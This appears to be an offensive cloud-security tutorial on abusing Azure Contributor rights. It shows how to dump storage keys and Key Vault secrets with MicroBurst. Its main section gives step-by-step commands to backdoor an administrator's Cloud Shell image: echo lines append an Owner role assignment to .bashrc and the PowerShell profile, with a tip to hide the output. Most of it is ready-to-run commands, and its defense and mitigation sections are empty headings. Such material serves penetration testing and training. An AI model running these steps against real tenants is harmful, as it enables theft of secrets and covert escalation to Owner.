🧬 Exploiting Contributor Permissions on PaaS Services

☁️ Why Azure Storage Is a Prime Target

Azure Storage supports:

• Blob Storage (files, images, backups)
• File Shares (SMB/NFS support)
• Table Storage (NoSQL datasets)
• Queue Storage (message passing)
• Data Lake Storage Gen2 (big data)

These backend services are used by apps, VMs, automation accounts, and containers making them a treasure trove for attackers.

⚠️ Management vs. Data Plane Access

Here’s where things get interesting:

• The Contributor role can fully configure storage accounts (management plane)
• But it does NOT inherently have access to view or download data (data plane)

However, Contributor can retrieve keys or generate SAS tokens to gain full access to the data anyway!

🔐 Key Exploitable Permissions

🔓 These actions bypass Azure RBAC’s dataActions system entirely by falling back to legacy key based authentication.

🛠️ Walkthrough: Dumping Keys Using MicroBurst

✅ Step 1: Authenticate as Contributor

1Connect-AzAccount

✅ Step 2: Import MicroBurst

1cd MicroBurst && 
2Import-Module .MicroBurst.psm1

Ignore warnings about missing modules like MSOnline.

✅ Step 3: Run Get-AzPasswords

1Get-AzPasswords -AutomationAccounts N -AppServices N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView

🔍 You’ll see keys for accounts like privstore123456. Copy the account name and key.

✅ Step 4: Connect with Storage Explorer

1choco install microsoftazurestorageexplorer -y

✅ Step 5: Connect to Storage Using Retrieved Keys

1. Open Storage Explorer
2. Select "Storage Account Name and Key"
3. Paste
   • Account Name: privstore123456
   • Account Key: {copied_key}
4. Click Connect

🎉 You now have full access to the contents of all Blob, File, Queue, and Table services!

🧨 Escalating Privileges Using the Cloud Shell Account

Azure Cloud Shell provides a persistent, mounted file share across sessions which, when combined with Contributor access, can be weaponized to execute commands as a higher privileged user.

In this attack, we’ll plant a malicious payload in a privileged user’s Cloud Shell volume image, which will escalate our Contributor user to an Owner on the next Cloud Shell login.

🧰 Tools Required

• ✅ Azure CLI
• ✅ Lava framework
• ✅ Contributor-level Azure AD account
• ✅ jq (for JSON parsing)

🎯 Attack Objective

Escalate contributoruser to Owner by injecting commands into the startup scripts (.bashrc / PowerShell profile) of azureadmin, then reupload the volume image to overwrite the original.

🔐 Step by Step Exploitation

✅ Step 1: Log in as Contributor

1az login -u contributoruser@<domain> -p <password>

✅ Step 2: Verify Permissions

1Lava $> exec priv_show

✅ Step 3: Scan for Cloud Shell File Shares

1Lava $> exec stg_file_scan

Locate any shares named like .cloudconsole or prefixed with cs.

✅ Step 4: Download Cloud Shell Volume Image

1Lava $> exec stg_file_download
2exit

📁 The downloaded .img file contains the persistent Cloud Shell environment for azureadmin.

✅ Step 5: Mount the Image

1mount <download_path>/.cloudconsole/acc_azureadmin.img /mnt
2cd /mnt/

✅ Step 6: Inject Bash Shell Escalation Payload

1echo "az role assignment create --role Owner --assignee $(az ad user list --display-name contributoruser | jq -r '.[0].userPrincipalName')" >> /mnt/.bashrc

💡 You can optionally suppress visible output using &>/dev/null

✅ Step 7: Inject PowerShell Escalation Payload

Create profile directory

1mkdir -p /mnt/.config/PowerShell

Append role assignment to the PowerShell profil

1echo "New-AzRoleAssignment -UserPrincipalName (Get-AzADUser -StartsWith contributoruser).UserPrincipalName -RoleDefinitionName Owner | Out-Null" >> /mnt/.config/PowerShell/Microsoft.PowerShell_profile.ps1

✅ Step 8: Unmount the Image

1cd ~
2umount /mnt

✅ Step 9: Upload the Malicious Image

Get storage account name:

1storagename=$(az storage account list --query '[].name' -o tsv)

Generate access key:

1key=$(az storage account keys list -n $storagename --query '[0].value' -o tsv)

Find file share

1csfileshare=$(az storage share list --account-key $key --account-name $storagename --query '[].name' -o tsv)

Upload image

1az storage file upload --account-key $key --account-name $storagename --share-name $csfileshare --path ".cloudconsole/acc_azureadmin.img" --source "<download_path>/.cloudconsole/acc_azureadmin.img"

✅ Step 10: Trigger Cloud Shell Login

• Log in to Azure Portal as azureadmin
• Launch Cloud Shell

🎯 The contributoruser should now be assigned Owner permissions automatically.

✅ Step 11: Verify Privilege Escalation

1Lava $> priv_show

🧼 Cleanup Instructions

Remove the Owner role

1$contributoruser = "contributoruser@<domain>"
2$contributoruserid = (az ad user list --upn $contributoruser --query '[].objectId' -o tsv)
3az role assignment delete --assignee $contributoruserid --role "Owner"

Remove PowerShell payload

1rm .config/PowerShell/Microsoft.PowerShell_profile.ps1

Edit .bashrc and delete the last injected line

1code .bashrc
2# Delete last line with role assignment

🔐 Why This Works

Cloud Shell mounts a persistent Azure File Share per user, which is accessible to any identity with Contributor access to the storage account.

Cloud Shell startup scripts = persistent privilege escalation vectors

🛡️ Defenses and Recommendations

🔚 Summary

By tampering with Cloud Shell startup scripts via a mounted .img file, attackers can escalate to Owner stealthily and persistently a powerful tactic that blends file system attacks with privilege mismanagement.

🔐 Pillaging Keys, Secrets, and Certificates from Azure Key Vaults

Azure Key Vault is Microsoft’s trusted secrets management platform, designed to secure application secrets, cryptographic keys, and certificates. While it offers robust security through role segregation, misconfigurations and overly permissive roles can quickly turn it into a goldmine for attackers.

🧱 Key Vault Architecture: Management Plane vs. Data Plane

Key Vault access is divided into two distinct planes

Microsoft’s model intentionally separates admin actions from data access to enable least privilege. Unfortunately, this separation is often misunderstood or misconfigured, creating windows of opportunity for exploitation.

🛠️ exfiltrate secrets, keys, and certificates in Key Vault

✅ Step 1: Authenticate

1Connect-AzAccount

✅ Step 2: Import MicroBurst

1Import-Module .MicroBurst.psm1

✅ Step 3: Use the Get-AzPasswords to dump out sensitive information from the Key Vault resources

1Get-AzPasswords -AutomationAccounts N -AppServices N -Keys Y -ACR N -CosmosDB N -ModifyPolicies Y -Verbose | Out-GridView

✅ Step 4: Extract credentials from App

1Get-AzPasswords -AutomationAccounts N -StorageAccounts N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView

🧪 What Might You Find?

However, if both models are enabled, RBAC takes precedence.

🛡️ Mitigation Best Practices